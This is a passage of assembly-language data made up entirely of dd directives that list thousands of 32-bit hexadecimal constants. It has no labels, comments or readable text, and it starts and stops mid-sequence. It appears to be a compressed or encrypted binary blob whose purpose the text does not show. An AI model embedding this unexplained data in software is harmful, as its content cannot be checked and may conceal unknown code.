14642641h dd 1D6424A6h, 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh dd 2A0014ECh, 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh dd 284C9DE5h, 34C82C81h, 60C85C9Fh, 0C2640093h, 0F0786CEEh dd 5E75747Eh, 0E18088C0h, 72F988F6h, 7690748Ch, 0D39C7894h dd 0C8630080h, 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah dd 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h dd 0F13CC038h, 6844F940h, 66011C4Eh, 10542E50h, 5CA05344h dd 0F498F090h, 1F52949Ch, 9FA89FA4h, 92B085ACh, 0BCA203B4h dd 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah dd 0DC42C29h, 3D604D1h, 803E873Ch, 5869A02Bh, 0C5E1BF00h dd 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h dd 0C8986C00h, 37DEFB50h, 741A0172h, 0D7C4A78h, 69B03084h dd 0D62D8A0Fh, 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h dd 0E7B0212Dh, 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h dd 0F8895961h, 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h dd 0A73E19A0h, 27E8CAE4h, 33033FE2h, 67521687h, 0A593A873h dd 700827B5h, 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh dd 0C1016349h, 0B3E182A2h, 7F49038h, 4E560032h, 331883D7h dd 88739250h, 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h dd 0E0224418h, 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch dd 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h dd 0AA9D60C0h, 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch dd 0C0D11CCFh, 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh dd 0AEF20049h, 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h dd 583BDAD4h, 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh dd 8F874F7Fh, 0C09DCF8Fh, 49B592A7h, 61C303CCh, 0D7F9D1B0h dd 0E3A3DD93h, 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h dd 28823302h, 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h dd 10E4D1h, 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h dd 3E2D000Bh, 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh dd 44001C7Eh, 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h dd 44070292h, 0E15C1449h, 88F981AFh, 1670092Ah, 4F221D50h dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h, 0E6195D6h dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h dd 7BE0024h, 0FE4AC90h, 17FE13E8h, 0BA3E04B8h, 0D33E6782h dd 0E01CD722h, 9D2730h, 92AA1DA6h, 89BE5EA7h, 2F2B3E02h dd 60A414C0h, 1BD3A3Dh, 9425FF4h, 0EC51019Ch, 0A0006012h dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h, 0B100C90Dh dd 5F343CD0h, 0F40B40h, 0C832E1C0h, 765E41EAh, 257AC90Bh dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh, 87CC7B9Ch dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h, 88BE84h dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h, 1F06267Ch dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h, 2469000Bh dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h dd 83A295D5h, 3F2F7A0h, 740068F0h, 783E9822h, 574946h dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh, 0ECEA01F6h dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h, 761350B6h dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh, 2FE140D9h dd 7F13BE9h, 6C0B2B44h, 7BC0BE58h, 0FCB778A0h, 79DC300h dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh, 88CF815Ch dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h, 58FC00F2h dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh dd 96351EC9h, 973E803Ch dd 95AAC277h, 0B87E7170h, 0C3E203AAh, 6F2FD30h, 0AF7462D8h dd 9B74E04h, 27B0D044h, 0F9E4E5h, 5F1DFF4Ch, 8952640Eh dd 560241EAh, 3881E975h, 2EB541Ch, 22C12EB3h, 428336E0h dd 21A3181Eh, 35C32AC0h, 0F583BD2h, 0F575AF8h, 92CF7DE0h dd 610FAAC9h, 0F9BDE8h, 0FCF4BC34h, 38390008h, 3B2D3A12h dd 4B003C43h, 9F905524h, 1274976Ch, 2C918C2h, 0E2E112C4h dd 390CE440h, 3C70142Ch, 0DA834500h, 0FE60D353h, 12F0036Ch dd 814FEEB8h, 0F3D80AE8h, 0F100DD72h, 70D0FDF2h, 4B7445B0h dd 5B4EC03Eh, 5D00667Ah, 803F7E6Fh, 0EC18B25h, 0A6F99FCEh dd 0E28B043h, 0E005C2D9h, 1E0392D8h, 20B449EAh, 0C02CEA3Bh dd 0F416Fh, 61574B4Dh, 93F985FAh, 2C6440C0h, 197ECh, 173C07A2h dd 41D122C9h, 2452D900h, 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh dd 996E80CCh, 9F0FA34Eh, 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h dd 3ADB9DD6h, 3E6AF880h, 83747972h, 0BA934800h, 133F0AC2h dd 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h, 900EDCF5h dd 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh, 760EC359h dd 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h, 72310C89h dd 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh, 99F85EECh dd 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h, 0C314034Fh dd 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h, 486E2D2Ah dd 580570FAh, 0F0817C90h, 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh dd 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh, 0D9F641C1h dd 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h, 2E0591B0h dd 16A101ABh, 0FCCFCE20h, 92F1C8DFh, 1101CC7Ah, 84321E36h dd 0F840563Bh, 22824Ch, 4F2A7063h, 8EF60F7Ch, 98CF39h dd 0C2A8CBA1h, 3A94E124h, 27AE38D3h, 1E200FC5h, 0B3329201h dd 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h, 0E2F8F641h dd 72380F07h, 83E04E15h, 64C35CD8h, 0E26FD307h, 0C69049B2h dd 924D7F9h, 859FEDD6h, 5AFE9170h, 8056B03Ah, 0F8A6F490h dd 9A94ABh, 0AAA0D813h, 773A394Eh, 3E1E59F0h, 4C0EC49h dd 40900C3Dh, 423000BCh, 0ADA0997h, 1239E002h, 8E76B857h dd 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h, 5B133C9Dh dd 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h, 84629F96h dd 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h, 0CFA2E80Fh dd 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h, 4A384929h dd 395D9699h, 890083F9h, 0A1278A68h, 0B17BAC61h, 0D26CCB00h dd 6436DE2Eh, 184E00FCh, 78D82A49h, 3BF01EB8h, 8756C23Bh dd 30546C62h, 0C0D375A2h, 0EB53CAAh, 0E27E0E50h, 95DF140h dd 430E2506h, 63AF3487h, 14A4D9h, 3BA03AACh, 3DB43CA5h dd 0DE2CC91Fh, 3EB18404h, 58882A80h, 0FEDBFEDAh, 1E3F4DFh dd 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h, 0FD000D3Fh dd 37CF258Eh, 4F3D380Fh, 1E558F9Eh, 0C96D8067h, 4EC05881h dd 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh, 0E4000982h dd 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh, 0C26B9200h dd 50698074h, 0C4C2A09Ch, 36AF4B8h, 0F6C97831h, 1000D9BDh dd 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h, 351A8500h dd 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h, 0C8C50C17h dd 8DF40Fh, 6CE1918Bh, 539DF999h, 0F2A5FC00h, 0C5FEA7A9h dd 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh, 0C08CF872h dd 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h, 0A27E3A40h dd 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h, 987A9CD8h dd 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh, 3D613C4Dh dd 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch, 6CAB9Ch dd 9302F624h, 8600C218h, 0C0E48457h, 9085E808h, 4E5D2C33h dd 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h, 0A4392EDDh dd 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h, 2171FE4Dh dd 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh, 36E9A300h dd 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh, 4C35272Dh dd 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h, 0E5A31C00h dd 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh, 80508BB5h dd 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h, 0C23B3A84h dd 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh, 0CA2D603Fh dd 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh, 44F6C838h dd 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h, 0DC9270E8h dd 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h, 0E1ECB1E8h dd 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h, 9EA81D60h dd 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h, 9EC669D7h dd 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh, 0CE0F7E49h dd 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h, 0BC6B4466h dd 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h, 0F0E947B2h dd 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h, 0BE443EC2h dd 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah dd 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h, 2AE4D68Eh dd 3D030013h, 260F097h, 7D003E2Fh, 3F217081h, 4386C29h dd 4C26453Bh, 500ABAEh, 0C811E088h, 39EA015Ch, 2D663A2Fh dd 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h, 0F07E3409h dd 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h, 0F8009E1Ch dd 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h, 5EFCF04Dh dd 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch, 0DC4B7B7Ch dd 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h, 0CC38C003h dd 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h, 0E82972E0h dd 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h, 0CC4C68D6h dd 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h, 0EF8020E9h dd 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh, 0D6282CE0h dd 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h, 3A49D93Eh dd 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh, 0C4B88098h dd 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh, 92626088h dd 0AE8276h, 2C7C7E9Eh, 3249017Ah, 4D334200h, 0EC3C80C9h dd 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h, 0DA300964h dd 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h, 169E5E1Dh dd 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h, 69385C12h dd 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh, 0C390516h dd 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h, 0C968660Fh dd 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h, 0E6724009h dd 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h, 2A8E3F4Bh dd 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h, 0AB0C1C0Bh dd 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h, 0E3603E41h dd 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch, 0DE1C1072h dd 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h, 0D812EE0Bh dd 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh, 265081B7h dd 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h, 9682DC06h dd 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh, 0C8FA4D80h dd 1C003E57h dd 93713F46h, 0B4E179h, 0F4B12260h, 0FCC7F8BCh, 58DDFF4Ch dd 947C053Ch, 0C3C0FE80h, 901D31h, 96849754h, 2E08BC1Ah dd 25CA6F00h, 40E15E87h, 553800F4h, 745B7239h, 8F704983h dd 3EAE3D00h, 0EAF32CC6h, 1EC001B3h, 46A2B92h, 0E956E4C1h dd 4B00F1E2h, 0F24CE238h, 3824763Bh, 3D80099Fh, 4E32D847h dd 2E00C366h, 0DC94D28Ch, 279C122Ch, 4DC19E83h, 4A1670F2h dd 96B41F07h, 893C2F6h, 22929063h, 0B29D0043h, 7CD07054h dd 0BD007EB8h, 0C53F8917h, 74230B1h, 7724F080h, 499E00D2h dd 0E100D6FAh, 6807E9F5h, 3263A66h, 3CE42B24h, 0D9B88F3Dh dd 2D3E93BCh, 0EC560BA0h, 0B575815Eh, 0E7F8FA07h, 0F9E405F1h dd 0C05D6093h, 856449E8h, 27CA781Eh, 0A17207C0h, 14E4ACE7h dd 0BE76E0BBh, 38B4CE00h, 60A00A17h, 89951A00h, 311C04B6h dd 3C74B8BCh, 4F81613Dh, 0FC5BE434h, 608E6163h, 0B7E2B0A5h dd 98879703h, 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh dd 2794DC09h, 8C07161Eh, 93FE8FC0h, 0FE36323Fh, 7E8A3C70h dd 3772007Fh, 8640A06Bh, 0A5E21CB4h, 1DB89D00h, 15F09ECDh dd 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h dd 5602C11Dh, 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh dd 7449176Ch, 7C5E04D8h, 0C8B3C05Bh, 401C5070h, 1C014F0h dd 0EE300BA3h, 3A7C32h, 0F916640Ch, 2F34B8FDh, 0C6610500h dd 0E177310Dh, 0E3B0086h, 29ED25E0h, 560028CCh, 2E7353Fh dd 741C53Dh, 0FC4992A0h, 0FD51204Dh, 59008C20h, 611FFA94h dd 76593h, 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah dd 0F77A48DEh, 987C4B00h, 76165C26h, 96308312h, 0ACFA4A00h dd 12B0D4h, 0BC684FB4h, 7678C0CBh, 75C85B3Bh, 50F08B00h dd 87F84ACAh, 3F032772h, 0C200D4ECh, 7E265814h, 48204A1Ch dd 0F413F68Bh, 28EEE292h, 6000FAB7h, 68E564E7h, 3E70DE4Ah dd 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h dd 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h dd 0C32A08E0h, 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h dd 79FBD0C7h, 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h dd 8416A29Ch, 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h dd 88D860C9h, 2305E71Dh, 2D01BC9Fh, 0C0C83166h, 0C93CCCh dd 0F0686F40h, 4F2EFD64h, 81709E3Dh, 7CECC174h, 84C880F9h dd 2FE60078h, 9404418Ch, 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h dd 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h, 3C100905h dd 94A87C78h, 0E15C8A00h, 74F96C12h, 84222F00h, 44AE568Ch dd 0AAAC01A4h, 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h dd 0B8E884D2h, 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh dd 6FB02CC1h, 7BB8F80Bh, 1C4107FEh, 0A02F3834h, 20704832h dd 0F5C5A00h, 6CCB689Ah, 2FF0747Bh, 0AB63DC79h, 96F441BFh dd 0C04630F8h, 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h dd 0E285B778h, 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h dd 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h dd 4FDE00E4h, 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h dd 4F48D0B8h, 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h dd 28068480h, 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h dd 88B00F2Fh, 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh, 0E80FC76h dd 8490438h, 4A48EE58h, 18F00073h, 0F4561CE2h, 147B01Fh dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h dd 4B854E4h, 602F5C3Fh, 15A00E03h, 85B6AB01h, 3FF013Bh dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh, 4D02E00Ah dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h, 89AD30D8h dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h, 0E853C70Ch dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h, 0A3807623h dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh, 9D0309C5h dd 51A0BB05h, 2F29A03h, 6EBD8880h, 12D0070h, 85FE4C75h dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h, 56000BDBh dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh dd 36104837h, 0F90CC1h, 8DA5F302h, 3C0377E1h, 535EA400h dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h, 79D89DD0h dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh dd 834E548Bh, 0D17308h, 0ADCA7DACh, 0C107EF66h, 910CEB00h dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h, 0E3001481h dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h, 8DBD462Dh dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h, 40C0850Ch dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h, 2A25A66Fh dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h, 4939012Ah dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h, 140200E2h dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah, 0FEEBF0C1h dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h, 61022F11h dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h, 306A5F10h dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h, 0AB10D4h dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h, 0E49B00F2h dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh, 31EEE4h dd 13B5A1Fh, 3733888Ah, 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h, 17607C0Eh dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h dd 6D009579h, 57B9D5E4h dd 38DEA83h, 82B7CD0Fh, 7C00DBCh, 0B103FD41h, 87A3972Ah dd 8ACFE029h, 48240078h, 0B7EA61E9h, 0D5EE7649h, 0F768441Dh dd 0A1145080h, 0F2C4BC60h, 0C8E0027h, 0A0656631h, 0BF00174Bh dd 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh, 0AD30EC57h, 0D548E5FAh dd 56CB05FDh, 0C3BB4CF1h, 800A1DBh, 0A575C410h, 8CDBEh dd 31E18193h, 42CED970h, 0DE19DD1Fh, 71959987h, 3F8F1CA0h dd 4698003Dh, 0DB31A266h, 50030A8Eh, 5DA8D0F7h, 59C6D05Ch dd 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h, 8100262Dh, 62CDBB78h dd 0A2023h, 0B0FCEC59h, 5C33F086h, 0D79BE600h, 0ABE21B42h dd 411C0060h, 5D740602h, 0F00ECC61h, 7F834AC6h, 2FA2EC0Eh dd 31472075h, 0D55E0Fh, 0B39E8D01h, 0C78E62D4h, 5A1DCD00h dd 0F5B2F9A4h, 0A22F6092h, 1C684ADEh, 512E1E0Eh, 451A4069h dd 0F430F8Ch, 0B82A844Eh, 0FA7B6C20h, 0B400A860h, 768BC7DFh dd 7DB91A0h, 179A270Ah, 487F006Bh, 0EA038997h, 633644D0h dd 1504E083h, 18CECDFh, 35586176h, 0C46F24BFh, 0E63B5599h dd 0EC2B0019h, 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h dd 1DAFDB04h, 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh dd 737938h, 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh dd 7B9D3700h, 0CEB45Ch, 62574738h, 33B5B6E9h, 61B30800h dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h dd 53458EC0h, 4072200h, 0EC5FD244h, 0D3C80020h, 0A96D7C14h dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h, 15850056h dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h, 9207A7B1h dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh dd 0A8C26Dh, 6878AC54h, 0F73128F3h, 0B033C500h, 9B35B6B1h dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h, 500BEF73h dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh dd 